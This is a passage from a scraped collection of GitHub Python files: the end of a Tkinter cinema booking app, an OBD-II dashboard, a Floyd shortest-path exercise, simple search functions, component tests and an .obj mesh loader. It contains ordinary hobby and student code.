70)\n pdf.cell(50, 10, 'Showing Time:', 1, 0, 'C')\n pdf.cell(50, 10, 'Seat No:', 1, 0, 'C')\n \n \n pdf.set_xy(20, 100)\n pdf.cell(20, 10, 'Title:', 1, 0, 'C')\n pdf.cell(50, 10, 'FirstName:', 1, 0, 'C')\n pdf.cell(70, 10, 'LastName:', 1, 0, 'C')\n \n \n pdf.set_xy(20, 130)\n pdf.cell(20, 10, 'Age:', 1, 0, 'C')\n pdf.cell(20,10, 'Sex:', 1, 0, 'C')\n pdf.cell(100, 10, 'Email Address:', 1,0, 'C')\n\n #values for first table in PDF\n pdf.set_xy(20, 50)\n \n pdf.cell(180, 10, '%s' %orderSummary[0],2, 0, 'C')\n \n #values for second table in PDF \n pdf.set_xy(20, 80)\n \n pdf.cell(50, 10, '%s' %orderSummary[1], 1, 0, 'C')\n pdf.cell(50, 10, '%s' %orderSummary[3], 1, 0, 'C')\n pdf.cell(-50)\n \n #values for second table in PDF \n pdf.set_xy(20, 110) \n \n pdf.cell(20, 10, '%s' %orderSummary[4], 1, 0, 'C')\n pdf.cell(50, 10, '%s' %orderSummary[5], 1, 0, 'C')\n pdf.cell(70, 10, '%s' %orderSummary[6], 1, 0, 'C')\n pdf.cell(-50) \n \n #values for third table in PDF \n pdf.set_xy(20, 140) \n pdf.cell(20, 10, '%s' %orderSummary[7], 1, 0, 'C')\n pdf.cell(20, 10, '%s' %orderSummary[8], 1, 0, 'C')\n pdf.cell(100, 10, '%s' %orderSummary[9], 1, 0, 'C')\n pdf.cell(-50) \n \n pdf.output('MovieTicket.pdf')\n \nclass movie_info ():\n def __init__(self):\n self.movieDict = self.read_csv(\"Software Engineering - Movie List.csv\")\n \n def read_csv(self,name):\n movieDict = {}\n with open(name, 'r', newline='') as file:\n csvreader = csv.reader(file)\n counter = 0\n for row in csvreader:\n if counter != 0:\n k = row[0]\n v=[row[1],row[2],row[3],row[4],row[5],row[6],row[7]]\n movieDict[k]=v\n counter += 1 \n return movieDict\n \n def retrieve_movie (movieDict):\n temp = []\n movie_options = []\n for k,v in movieDict.items():\n if v[0] not in temp:\n # print(v[0],v[1]) \n movie_options.append(v[1])\n temp.append(v[0])\n temp.clear()\n return movie_options\n \n def retrieve_price (movieDict,orderSummary):\n movie_price = 0\n for k,v in movieDict.items():\n if v[1] == orderSummary[0]:\n movie_price = v[5]\n break\n return movie_price\n\nclass showtime():\n def retrieve_showtime (movieDict,orderSummary):\n movie_price = 0\n timeSlotOptions = []\n for k,v in movieDict.items():\n if v[1] == orderSummary[0]:\n timeSlotOptions.append(v[6])\n movie_price = v[5]\n return timeSlotOptions\n \nclass seat_availability ():\n def check_occuppied(order_history,orderSummary):\n occuppied_seat = []\n for k,v in order_history.items():\n if orderSummary[0] == v[0] and orderSummary[1] == v[1]:\n \n occuppied_seat.append (int(v[3]))\n return occuppied_seat\n \nclass booking ():\n def create_order_csv(order_history,orderSummary):\n order_history[len(order_history)] = orderSummary\n with open('order history.csv', mode='w', newline='') as file:\n writer = csv.writer(file)\n writer.writerows([[key] + value for key, value in order_history.items()])\n \n def read_past_orders ():\n \n order_history = {}\n with open(\"order history.csv\", 'r', newline='') as file:\n csvreader = csv.reader(file)\n for row in csvreader:\n \n k = row[0]\n v=[row[1],row[2],row[3],row[4],row[5],row[6],row[7],row[8]]\n order_history[k]=v\n \n return order_history\n \n \nclass movie_system(movie_info, Ticket):\n \n def __init__ (self):\n super().__init__()\n self.customer_order = []\n \n self.order_history = booking.read_past_orders()\n \n #self.order_history[0] = ['Pretty Woman', '14/03/2023 17:30', '£7.50','4', 'Mrs', 'Alexis', 'Richardson', '37', 'Female', 'A.Richardson@gmail.com']\n #self.order_history[1] = ['Pretty Woman', '14/03/2023 17:30', '£7.50','1', 'Mrs', 'Alexis', 'Richardson', '37', 'Female', 'A.Richardson@gmail.com']\n self.orderSummary = []\n self.root = Tk()\n self.root.minsize(height=500, width=1000)\n self.home_frame = self.movieSelect()\n self.home_frame.pack(fill=NONE, expand=0)\n self.root.mainloop()\n \n def movieSelect(self):\n self.frame = Frame(self.root)\n self.frame = Frame(self.root, width=1000, height=500, bg='CadetBlue')\n \n # Create the heading label\n heading_label = Label(self.frame, text=\"List of Movies\",height=1, width=80, font=(\"Ariel\", 12))\n heading_label.pack(pady=10)\n #create movie select buttons\n movie_options = movie_info.retrieve_movie(self.movieDict)\n for i in movie_options:\n movie_list = Label(self.frame, text=f\"{i}\",font=(\"Ariel\", 10), height=1, width=70)\n movie_list.pack(pady=5)\n \n # Adding a dropdown menu for Movie selection\n selected_movie = StringVar()\n selected_movie.set(movie_options[0])\n movie_dropdown = Combobox(self.frame, textvariable=selected_movie, values=movie_options, state=\"readonly\")\n movie_dropdown.pack()\n def s1ToS2():\n #global orderSummary\n a = movie_dropdown.get()\n self.orderSummary.append(a)\n #print(orderSummary)\n showTime_frame = self.showingTimes()\n self.frame.destroy()\n showTime_frame.pack(fill=\"both\", expand=True) \n # Create the contact details button\n contact_num = Label(self.frame, text=\"Phone Number: 0998393883939 \\n Email: info@Keelemoviehouse.co.uk\",height=3, width=60, font=(\"Ariel\", 9))\n contact_num.pack(pady=10)\n \n \n Submitbtn = Button(self.frame, text = 'Submit', command = s1ToS2)\n Submitbtn.pack(pady=30)\n \n return self.frame\n \n def showingTimes(self):\n showTime_frame = Frame(self.root)\n showTime_frame = Frame(self.root, width=1000, height=500, bg='CadetBlue')\n\n # Create the heading label\n heading_label = Label(showTime_frame, text=\"Showing Times\",height=1, width=80, font=(\"Ariel\", 12))\n heading_label.pack(pady=10)\n\n # Create the movie buttons\n timeSlotOptions = showtime.retrieve_showtime(self.movieDict,self.orderSummary)\n \n for i in range(len(timeSlotOptions)):\n movie_button = Button(showTime_frame, text=f\"Time Slot {timeSlotOptions[i]}\",font=(\"Ariel\", 10), height=1, width=30)\n movie_button.pack(pady=5)\n \n # Adding a dropdown menu for Time Slot selection\n selected_TimeSlot = StringVar()\n selected_TimeSlot.set(timeSlotOptions[0])\n timeSlot_dropdown = Combobox(showTime_frame, textvariable=selected_TimeSlot, values=timeSlotOptions, state=\"readonly\")\n timeSlot_dropdown.pack()\n\n def s2ToS3():\n a = timeSlot_dropdown.get()\n self.orderSummary.append(a)\n self.movie_price = movie_info.retrieve_price(self.movieDict, self.orderSummary)\n self.orderSummary.append(self.movie_price)\n showTime_frame.destroy()\n seatSelect_frame = self.seatSelect()\n seatSelect_frame.pack(fill=NONE, expand=0)\n \n Submitbtn = Button(showTime_frame, text = 'Submit', command = s2ToS3)\n Submitbtn.pack(pady=30)\n Backbtn = Button(showTime_frame, text=\"Back\", command= self.restart_gui)\n Backbtn.pack()\n\n return showTime_frame\n \n def seatSelect(self):\n \n seatSelect_frame = Frame(self.root)\n seatSelect_frame = Frame(self.root, width=1000, height=500, bg='CadetBlue')\n\n # Create the heading label\n heading_label = Label(seatSelect_frame, text=\"Seat Selection\",height=1, width=80, font=(\"Ariel\", 12))\n heading_label.pack(pady=10)\n\n # Adding an image to the window\n seat_image = PhotoImage(file=\"image1.png\")\n image_label = Label(seatSelect_frame, image=seat_image)\n image_label.image = seat_image\n image_label.pack()\n \n image_label.config(border=1, relief=\"solid\")\n\n # Adding a label for seat selection\n select_label = Label(seatSelect_frame, text=\"Select a seat:\", font=(\"Helvetica\", 12))\n select_label.pack(pady=(20, 10))\n \n # Adding a dropdown menu for seat selection\n occuppied_seat = seat_availability.check_occuppied(self.order_history, self.orderSummary)\n seat_options = [str(i) for i in range(1, 21) if i not in occuppied_seat]\n occuppied_seat.clear()\n selected_seat = StringVar()\n selected_seat.set(seat_options[0])\n seat_dropdown = Combobox(seatSelect_frame, textvariable=selected_seat, values=seat_options, state=\"readonly\")\n seat_dropdown.pack()\n \n\n def s3ToS4():\n a = seat_dropdown.get()\n self.orderSummary.append(a)\n seatSelect_frame.destroy()\n confirmPage_frame = self.confirmPage()\n confirmPage_frame.pack(fill=NONE, expand=0)\n\n \n #Submitbtn = Button(seatSelect_frame, text = 'Submit', command=lambda: [s3ToS4(), submit_seat_selection()])\n Submitbtn = Button(seatSelect_frame, text = 'Submit', command= s3ToS4) \n Submitbtn.pack(pady=30)\n\n\n def s3ToS2():\n \n del self.orderSummary[1]\n showingTimes_frame = self.showingTimes()\n seatSelect_frame.pack_forget()\n showingTimes_frame.pack(fill='both', expand=True)\n Backbtn = Button(seatSelect_frame, text=\"Back\" , command= s3ToS2)\n Backbtn.pack()\n return seatSelect_frame\n \n\n def confirmPage(self):\n \n confirmPage_frame = Frame(self.root)\n confirmPage_frame = Frame(self.root, width=1000, height=500, bg='CadetBlue')\n \n # Create the heading label\n heading_label = Label(confirmPage_frame, text=\"Confirmation Page\",height=1, width=80, font=(\"Ariel\", 12))\n heading_label.grid(row=0, column=1, sticky=\"news\", padx=0, pady=0)\n \n \n listBox = Listbox(confirmPage_frame, width=80, height=12)\n index = tk.END\n listBox.insert(index,'Movie:'+self.orderSummary[0])\n listBox.insert(index,'Time: '+self.orderSummary[1])\n listBox.insert(index, 'Seat number: '+self.orderSummary[3])\n listBox.insert(index, 'Price: '+self.orderSummary[2])\n listBox.grid(row=1, column=1, sticky=\"news\", padx=20, pady=10)\n \n \n user_info_LabelFrame =LabelFrame(confirmPage_frame, text =\"Customer Information\")\n user_info_LabelFrame.grid(row=2, column=1, padx =20, pady = 10)\n \n title_label = Label(user_info_LabelFrame , text=\"Title\")\n title_combobox = Combobox(user_info_LabelFrame , values=[\"\", \"Mr.\",\"Miss\", \"Ms\", \"Mrs.\",\"Dr.\",\"Master\"])\n \n title_label.grid(row=0, column=0)\n title_combobox.grid(row=1, column =0)\n \n \n first_name_label =Label(user_info_LabelFrame , text =\"First Name\")\n first_name_label.grid(row=0, column=1)\n last_name_label = Label(user_info_LabelFrame , text =\"Last Name\")\n last_name_label.grid(row=0, column=2)\n \n first_name_entry= Entry(user_info_LabelFrame )\n last_name_entry = Entry(user_info_LabelFrame )\n \n first_name_entry.grid(row=1, column=1,)\n last_name_entry.grid(row =1, column =2)\n \n \n \n age_label = Label(user_info_LabelFrame , text =\"Age\")\n age_spinbox =Spinbox(user_info_LabelFrame , from_=12, to =150)\n \n age_label.grid(row=2, column=0)\n age_spinbox.grid(row=3, column =0)\n \n sex_label= Label(user_info_LabelFrame , text = \"Sex\")\n sex_combobox =Combobox(user_info_LabelFrame , values=[\"Male\",\"Female\"])\n \n sex_label.grid(row=2, column= 1)\n sex_combobox.grid(row=3, column=1)\n \n \n email_label =Label(user_info_LabelFrame , text =\"Email Address\")\n email_label.grid(row=2, column=2,)\n \n email_entry= Entry(user_info_LabelFrame )\n email_entry.grid(row=3, column=2,)\n \n \n \n \n for widget in user_info_LabelFrame .winfo_children():\n widget.grid_configure(padx=10,pady=5)\n \n \n def enter_data():\n a = title_combobox.get()\n b= first_name_entry.get()\n c = last_name_entry.get()\n d= age_spinbox.get()\n e = sex_combobox.get()\n f = email_entry.get()\n self.orderSummary.append(a)\n self.orderSummary.append(b)\n self.orderSummary.append(c)\n self.orderSummary.append(d)\n self.orderSummary.append(e)\n self.orderSummary.append(f)\n Ticket.printpdf(self.orderSummary)\n \n \n \n booking.create_order_csv(self.order_history,self.orderSummary)\n self.orderSummary.clear()\n \n confirmPage_frame.destroy()\n \n Summary_frame = self.Summary()\n Summary_frame.pack(fill=NONE, expand=0)\n \n \n button =Button(confirmPage_frame, text=\"Submit\" , command= enter_data)\n button.grid(row=3, column=1, sticky=\"news\", padx=20, pady=10)\n \n \n \n def s4ToS3():\n \n del self.orderSummary[2]\n \n seatSelect_frame = self.seatSelect()\n confirmPage_frame.pack_forget()\n seatSelect_frame.pack(fill='both', expand=True)\n Backbtn = Button(confirmPage_frame, text=\"Back\" , command= s4ToS3)\n Backbtn.grid(row=3, column=2, sticky=\"news\", padx=20, pady=10)\n \n \n \n return confirmPage_frame\n \n def Summary(self):\n\n Summary_frame = Frame(self.root)\n \n \n Summary_frame = Frame(self.root, width=1000, height=500, bg='CadetBlue')\n \n # Create the heading label\n heading_label = Label(Summary_frame, text=\"Order Confirmed\",height=1, width=80, font=(\"Ariel\", 12))\n heading_label.grid(row=0, column=1, sticky=\"news\", padx=0, pady=0)\n \n \n listBox = Listbox(Summary_frame, width=80, height=12)\n index = tk.END\n\n\n current_date = datetime.now().strftime('%d/%m/%Y')\n\n date_label = Label(Summary_frame, text=f\"Current date: {current_date}\")\n date_label.grid(row=1, column=1, sticky=\"news\", padx=20, pady=2) \n \n font = (\"Ariel\", 12, \"underline\")\n \n pay_label = Label(Summary_frame, text=\"Please consult the pricing sheet for ticket pricing. Customers can pay cash or via PayPal/Bank Transfer. Payment Details below:\", font=font)\n pay_label.grid(row=2, column=1, sticky=\"news\", padx=20, pady=2) \n \n blank_label = Label(Summary_frame, bg='CadetBlue')\n \n blank_label2 = Label(Summary_frame, bg='CadetBlue')\n \n \n # Generate fake bank details\n bank_name = \"Keele Bank\"\n account_number = ''.join(random.choices('0123456789', k=10))\n sort_code = '12-34-56'\n balance = round(random.uniform(500, 10000), 2)\n \n # Create labels for bank details\n bank_name_label = Label(Summary_frame, text=\"Bank Name:\", font = (\"Ariel\", 12))\n bank_name_value = Label(Summary_frame, text=bank_name)\n \n account_number_label = Label(Summary_frame, text=\"Account Number:\", font = (\"Ariel\", 12))\n account_number_value = Label(Summary_frame, text=account_number)\n \n sort_code_label = Label(Summary_frame, text=\"Sort Code:\", font = (\"Ariel\", 12))\n sort_code_value = Label(Summary_frame, text=sort_code)\n \n # Add labels to the tkinter application using grid()\n bank_name_label.grid(row=3, column=1, sticky=\"news\", padx=20)\n bank_name_value.grid(row=4, column=1, sticky=\"news\", padx=20)\n \n blank_label.grid(row=5, column=1, sticky=\"news\", pady=1)\n \n account_number_label.grid(row=6, column=1, sticky=\"news\", padx=20)\n account_number_value.grid(row=7, column=1, sticky=\"news\", padx=20)\n \n \n blank_label2.grid(row=8, column=1, sticky=\"news\", pady=1)\n \n sort_code_label.grid(row=9, column=1, sticky=\"news\", padx=20)\n sort_code_value.grid(row=10, column=1, sticky=\"news\", padx=20)\n \n \n\n return Summary_frame\n \n def restart_gui(self):\n \n self.orderSummary.clear()\n \n # Destroy the existing root window\n self.root.destroy()\n # Create a new root window\n self.root = Tk()\n self.root.minsize(height=500, width=1000)\n # Reinitialize the home_frame\n self.home_frame = self.movieSelect()\n self.home_frame.pack(fill=NONE, expand=0)\n # Start the main event loop again\n \n self.root.mainloop()\n\nmovie = movie_system()","repo_name":"x7x17/Employee_Cinema_Booking_System","sub_path":"Software enginnering code OOP version.py","file_name":"Software enginnering code OOP version.py","file_ext":"py","file_size_in_byte":19050,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9399074168","text":"#!/usr/bin/env python\n\nfrom time import sleep\nfrom threading import Thread\nfrom math import ceil\nimport wx\nimport obd\n\nimport meter_Speed\nimport meter_RPM\nimport meter_Fuel\nimport meter_Temp\n\n\n#DisplaySize = wx.GetDisplaySize()\n\n\n''' Commented for testing'''\n# Init\nobd_connection = obd.Async(\"\\.\\COM4\")\n# Callback is called when data is received\nobd_connection.watch(obd.commands.RPM)\nobd_connection.watch(obd.commands.SPEED)\nobd_connection.watch(obd.commands.GET_DTC)\nobd_connection.watch(obd.commands.DISTANCE_W_MIL)\nobd_connection.watch(obd.commands.COOLANT_TEMP)\n\n#obd_connection.watch(obd.commands[1][166])\n''''''\nclass MainWindow(wx.Frame):\n def __init__(self, parent, title):\n wx.Frame.__init__(self, parent, title=title, size=wx.GetDisplaySize())\n MainPanel = wx.Panel(self, size=self.GetSize())\n MainPanel.SetBackgroundColour(wx.Colour(0,0,255))\n \n panel_KPH = wx.Panel(self, size=(500,500), pos=(0,0))\n panel_RPM = wx.Panel(self, size=(500,500), pos=(500,0))\n panel_Fuel = wx.Panel(self, size=(250,250), pos=(1000,0))\n panel_Temp = wx.Panel(self, size=(250,250), pos=(1000,250))\n\n #bind on esc key\n self.Bind(wx.EVT_CHAR_HOOK, self.onKey)\n \n # Eyes burning <remove later>\n panel_KPH.SetBackgroundColour(wx.Colour(255,33,33))\n panel_RPM.SetBackgroundColour(wx.Colour(33,255,33))\n\n\n box = wx.BoxSizer(wx.VERTICAL)\n box.Add(panel_KPH,0)\n box.Add(panel_RPM,1)\n MainPanel.SetSizer(box)\n #GridSizer\n #gs = wx.GridSizer(2,1,5,5)\n #gs.Add(self.speedmeter = speedmeter.SpeedMeter(panel))\n #gs.Add(self.speedmeter1 = speedmeter.SpeedMeter(panel1))\n \n '''\n # Start\n self.btn_start_stop = wx.Button(MainPanel, label=\"Start\")\n self.btn_start_stop.Bind(wx.EVT_BUTTON, self.OnStartStop)\n '''\n \n # Add speedmeter\n self.Speed = meter_Speed.SpeedMeter(panel_KPH,panel_KPH.GetSize())\n self.RPM = meter_RPM.SpeedMeter(panel_RPM,panel_RPM.GetSize())\n self.Fuel = meter_Fuel.SpeedMeter(panel_Fuel,panel_Fuel.GetSize())\n self.Temp = meter_Temp.SpeedMeter(panel_Temp,panel_Temp.GetSize())\n\t\t\n self.ShowFullScreen(True)\n\n # Start_Stop button\n def OnStartStop(self, event):\n obd_connection.start()\n print(\"Started\")\n \n def onKey(self, event):\n \"\"\"\n Check for ESC key press and exit is ESC is pressed\n \"\"\"\n key_code = event.GetKeyCode()\n if key_code == wx.WXK_ESCAPE:\n self.Close(True)\n else:\n event.Skip()\n\n # Called on GUI exit (X btn)\n def OnExit(self, event):\n self.Close(True)\n\n# DEBUG\ndef test():\n kph = 0\n rpm = 0\n temp = 0\n \n \n while True:\n frame.Speed.Set(kph)\n frame.RPM.Set(rpm)\n frame.Temp.Set(temp)\n \n \n \n sleep(0.2)\n ''' Commented for testing'''\n obd_connection.stop()\n value_RPM = obd_connection.query(obd.commands.RPM)\n value_KPH = obd_connection.query(obd.commands.SPEED)\n value_TEMP = obd_connection.query(obd.commands.COOLANT_TEMP)\n value_FUEL = obd_connection.query(obd.commands.DISTANCE_W_MIL)\n #supp = obd_connection.query(obd.commands[1][166])\n rpm = value_RPM #ne sa testvani\n kph = value_KPH #ne sa testvani\n print(\"value temp: \"+str(value_TEMP))\n print(\"value fuel: \"+str(value_FUEL))\n # print(\"value RPM: \"+str(value_RPM.magnitude))\n print(\"rpm: \"+str(rpm))\n #print(supp)\n ''''''\n # Testvano i raboti\n kph_str=str(value_KPH)\n if kph_str==\"None\":\n kph_str=\"0\"\n kph=int(kph_str.split()[0])\n rpm_str=str(value_RPM)\n if rpm_str==\"None\":\n rpm_str=\"0\"\n rpm=ceil(float(rpm_str.split()[0]))\n temp_str=str(value_TEMP)\n if temp_str==\"None\":\n temp_str=\"0\"\n temp=int(temp_str.split()[0])\n print(temp)\n \n ''' Commented for testing'''\n print(obd_connection.query(obd.commands.GET_DTC))\n print(obd.commands.has_pid(1, 166))\n \n\n for i in range(0,95):\n print(\"PID \" + str(i) + \" --- \" + str(obd_connection.query(obd.commands[1][i])))\n \n \n obd_connection.start()\n ''''''\n\n# Entry point\nif __name__ == \"__main__\":\n app = wx.App(False)\n frame = MainWindow(None, \"Main Window\")\n frame.Show()\n \n # DEBUG\n Thread(target=test).start()\n \n\n # Blocking\n app.MainLoop()\n\n\n","repo_name":"cMexypaH/obd","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71344543555","text":"\"\"\"\n多源最短路\n给定一个 n 个点 m 条边的有向图,图中可能存在重边和自环,边权可能为负数。\n再给定 k 个询问,每个询问包含两个整数 x 和 y,表示查询从点 x 到点 y 的最短距离,如果路径不存在,则输出 impossible。\n\"\"\"\n\ndef floyd():\n for k in range(1, n + 1):\n for i in range(1, n + 1):\n for j in range(1, n + 1):\n graph[i][j] = min(graph[i][j], graph[i][k] + graph[k][j])\n\n\nn, m, k = map(int, input().split())\ngraph = [[float('inf') for i in range(n + 1)] for j in range(n + 1)]\n\nfor i in range(m):\n x, y, w = map(int, input().split())\n graph[x][y] = min(graph[x][y], w)\n\nfor i in range(1, n + 1):\n graph[i][i] = 0\n\nfloyd()\n\nfor i in range(k):\n x, y = map(int, input().split())\n if graph[x][y] == float('inf'):\n print('impossible')\n else:\n print(graph[x][y])\n\n\"\"\"\n输入样例:\n3 3 2\n1 2 1\n2 3 2\n1 3 1\n2 1\n1 3\n输出样例:\nimpossible\n1\n\"\"\"","repo_name":"Yjinyun/yjy","sub_path":"algorithm/Floyd.py","file_name":"Floyd.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"203825579","text":"# Search in unordered list\ndef searchUnordered(l: List[int], item: int) -> bool:\n pos = 0\n found = False\n\n while pos < len(l) and not found:\n if l[pos] == item:\n found = True\n pos += 1\n return found\n\n# Search in ordered list\n# Binary search\ndef binarySearch(alist, item):\n first = 0\n last = len(alist) - 1\n found = False\n\n while first <= last and not found:\n mid = (first + last) // 2\n if alist[mid] == item:\n found = True \n else:\n if item < alist[mid]:\n last = mid - 1\n else:\n first = mid + 1\n return found\n\n\ndef searchUnordered(l: List[int], item: int) -> bool:\n pos = 0\n found = False\n stop = False\n while pos < len(l) and not found and not stop:\n if l[pos] == item:\n found = True\n elif l[pos] > item:\n stop = True\n pos += 1\n return found\n","repo_name":"YufeiLinUlysses/LearnDataScience","sub_path":"Getting Started/Data Structure/Python/sequentialSearch.py","file_name":"sequentialSearch.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42909060394","text":"import tkinter as tk\nfrom tkinter import Label, Frame\n\nfrom PIL import ImageTk\n\n# 创建主窗口\nroot = tk.Tk()\n\n# 设置窗口title\nroot.title(\"第三次作业\")\n\n# 创建标签用于显示窗口的大小和位置\ninfo_label = Label(root, text=\"\", font=(\"Arial\", 12))\ninfo_label.pack()\n\n\n# 更新窗口大小和位置的函数\ndef update_info_label():\n window_wi = root.winfo_width()\n window_he = root.winfo_height()\n window_xx = root.winfo_x()\n window_yy = root.winfo_y()\n info_label.config(text=f\"窗口大小:{window_wi}x{window_he}\\n窗口位置:({window_xx}, {window_yy})\")\n info_label.after(100, update_info_label) # 每100毫秒更新一次\n\n\nupdate_info_label() # 启动更新函数\n\n# 获取电脑屏幕的大小\nscreen_width = root.winfo_screenwidth()\nscreen_height = root.winfo_screenheight()\n\n# 设置窗口大小\nwindow_width = 600\nwindow_height = 550\n\n# 设置窗口位置居中\nwindow_x = (screen_width - window_width) // 2\nwindow_y = (screen_height - window_height) // 2\n\nroot.geometry(f\"{window_width}x{window_height}+{window_x}+{window_y}\")\n\n# 设置标签内容和样式\nlabel_text = \"Yuuka\"\nlabel_font = (\"Arial\", 14, \"bold\")\nlabel_bg = \"lightgray\"\nlabel_fg = \"black\"\nlabel_width = 400\nlabel_height = 400\n\n# 创建Frame用于边框样式\nframe = Frame(root, relief=tk.SUNKEN, borderwidth=10)\nframe.pack(pady=20, padx=25,side=\"right\")\n\n# 创建标签\nlabel = Label(frame, text=label_text, font=label_font, bg=label_bg, fg=label_fg, width=label_width, height=label_height)\nlabel.pack(side=\"right\")\n\n# 在标签中显示图片\nimage_path = r\"C:\\Users\\小吴同志的R7000P\\Pictures\\Saved Pictures\\output_icon.ico\"\nimage = ImageTk.PhotoImage(file=image_path) # 替换为实际的图片文件路径\nlabel.config(image=image, compound=\"top\")\nlabel.image = image\n\n\n# 显示窗口\nroot.mainloop()\n","repo_name":"TIMAVICIIX/TimData","sub_path":"Code_Space/Python/Study_Temp/Study_Space/No3GUI.py","file_name":"No3GUI.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42117409535","text":"import logging\n\nfrom sample_components import Greet\nfrom canals.serialization import component_to_dict, component_from_dict\n\n\ndef test_to_dict():\n component = Greet()\n res = component_to_dict(component)\n assert res == {\n \"type\": \"Greet\",\n \"init_parameters\": {\n \"message\": \"\\nGreeting component says: Hi! The value is {value}\\n\",\n \"log_level\": \"INFO\",\n },\n }\n\n\ndef test_to_dict_with_custom_parameters():\n component = Greet(message=\"My message\", log_level=\"ERROR\")\n res = component_to_dict(component)\n assert res == {\n \"type\": \"Greet\",\n \"init_parameters\": {\n \"message\": \"My message\",\n \"log_level\": \"ERROR\",\n },\n }\n\n\ndef test_from_dict():\n data = {\n \"type\": \"Greet\",\n \"init_parameters\": {},\n }\n component = component_from_dict(Greet, data)\n assert component.message == \"\\nGreeting component says: Hi! The value is {value}\\n\"\n assert component.log_level == \"INFO\"\n\n\ndef test_from_with_custom_parameters():\n data = {\n \"type\": \"Greet\",\n \"init_parameters\": {\"message\": \"My message\", \"log_level\": \"ERROR\"},\n }\n component = component_from_dict(Greet, data)\n assert component.message == \"My message\"\n assert component.log_level == \"ERROR\"\n\n\ndef test_greet_message(caplog):\n caplog.set_level(logging.WARNING)\n component = Greet()\n results = component.run(value=10, message=\"Hello, that's {value}\", log_level=\"WARNING\")\n assert results == {\"value\": 10}\n assert \"Hello, that's 10\" in caplog.text\n","repo_name":"deepset-ai/canals","sub_path":"test/sample_components/test_greet.py","file_name":"test_greet.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"40021455686","text":"# I'm writing this file because I'm too stupid for my own good\n# Pray for me\n\n\nclass ObjData:\n \"\"\"Helper class to keep ObjData is a nice orderly format\n \"\"\"\n\n size = 0\n positions = []\n normals = []\n uvs = []\n materialIndexes = []\n materials = {}\n\n def __init__(self, size, positions, normals, uvs, materialIndexes, materials):\n self.size = size\n self.positions = positions\n self.normals = normals\n self.uvs = uvs\n self.materialIndexes = materialIndexes\n self.materials = materials\n\n\ndef load_obj(filename):\n \"\"\"Take in an .obj file and load it into a ObjData structure\n\n Arguments:\n filename {str} -- Resource to load\n\n Returns:\n ObjData -- Parsed object (perfect for using with ObjModel)\n \"\"\"\n (positions, normals, uvs, materials, materialIndexes) = parse_lines(filename)\n return process_material_chunks(positions, normals, uvs, materials, materialIndexes)\n\n\ndef parse_lines(filename):\n \"\"\"Parse the lines of an .obj file\n This performs no processing - just raw data reading\n \"\"\"\n positions = []\n normals = []\n uvs = []\n\n materials = {}\n materialIndexes = []\n\n # Open the file and handle the internal lines\n with open(filename, \"r\") as f:\n for line in f.readlines():\n line = line.strip()\n if len(line) > 0 and line[:1] != \"#\":\n tokens = line.split()\n action = tokens[0]\n if action == \"mtllib\":\n # Named definition for an external MTL file\n pass\n elif action == \"usemtl\":\n # Material to use -> from the MTL file (above)\n materialName = \" \".join(tokens[1:])\n if (\n len(materialIndexes) == 0\n or materialIndexes[-1][0] != materialName\n ):\n materialIndexes.append([materialName, []])\n elif action == \"v\":\n # Geometric vertex\n # (x, y, z [,w]) coordinates\n positions.append([float(v) for v in tokens[1:4]])\n elif action == \"vn\":\n # Vertex normals\n # (x, y, z) -> not guaranteed to be unit vectors\n normals.append([float(v) for v in tokens[1:4]])\n elif action == \"vt\":\n # Texture UVs\n # (u, [,v, w]) coordinates\n uvs.append([float(v) for v in tokens[1:4]])\n elif action == \"vp\":\n # Parameter space vertices\n # Not relevant\n pass\n elif action == \"f\":\n # Polygonal faces\n materialIndexes[-1][1] += parse_face(tokens[1:])\n elif action == \"o\":\n # Object groupings\n # Not relevant\n pass\n elif action == \"s\":\n # Smoothing groups\n # Also not relevant\n pass\n\n return positions, normals, uvs, materials, materialIndexes\n\n\ndef parse_face(face):\n \"\"\"Parse a single face of an .obj file\n Faces are given as a list of triangles\n Each triangle is a list of vertices seperated by /\n\n Arguments:\n face {list} -- [description]\n\n Returns:\n list -- [description]\n \"\"\"\n\n result = []\n v0 = parse_face_indexes(face[0])\n v1 = parse_face_indexes(face[1])\n for f in face[2:]:\n v2 = parse_face_indexes(f)\n result += [v0, v1, v2]\n v1 = v2\n\n return result\n\n\ndef parse_face_indexes(s):\n \"\"\"Split a triangle face into the relevant indices\n\n Arguments:\n s {str} -- [description]\n\n Returns:\n list -- [description]\n \"\"\"\n return [int(ind) - 1 if ind != \"\" else -1 for ind in s.split(\"/\")]\n\n\ndef process_material_chunks(positions, normals, uvs, materials, materialIndexes):\n \"\"\"Process material chunks\n This takes in the list of data from the previous step and makes it more usable\n Notably, this is where mesh deindexing occurs\n\n Arguments:\n i'm not filling this out\n\n Returns:\n ObjData -- processed mesh data\n \"\"\"\n # Count the number of vertices in this file\n size = 0\n for mat in materialIndexes:\n size += len(mat[1])\n\n processed_positions = [None] * size\n processed_normals = [None] * size\n processed_uvs = [[0, 0]] * size\n processed_materials = []\n\n # Deindex the mesh\n start = 0\n end = 0\n for id, triangles in materialIndexes:\n # Calculate the offset and size of this material\n start = end\n end = start + int(len(triangles) / 3)\n offset = start * 3\n length = len(triangles)\n\n # Deindexing\n for i in range(0, len(triangles), 3):\n for j in range(3):\n triangle = triangles[i + j]\n voffset = offset + i + j\n processed_positions[voffset] = positions[triangle[0]]\n processed_normals[voffset] = normals[triangle[2]]\n if triangle[1] != -1:\n processed_uvs[voffset] = uvs[triangle[1]]\n\n processed_materials.append((id, offset, length))\n\n return ObjData(\n size,\n processed_positions,\n processed_normals,\n processed_uvs,\n processed_materials,\n {},\n )\n","repo_name":"rafraser/COSC3000","sub_path":"Graphics/code/ObjLoader.py","file_name":"ObjLoader.py","file_ext":"py","file_size_in_byte":5474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71220608195","text":"import ocsv\r\nimport 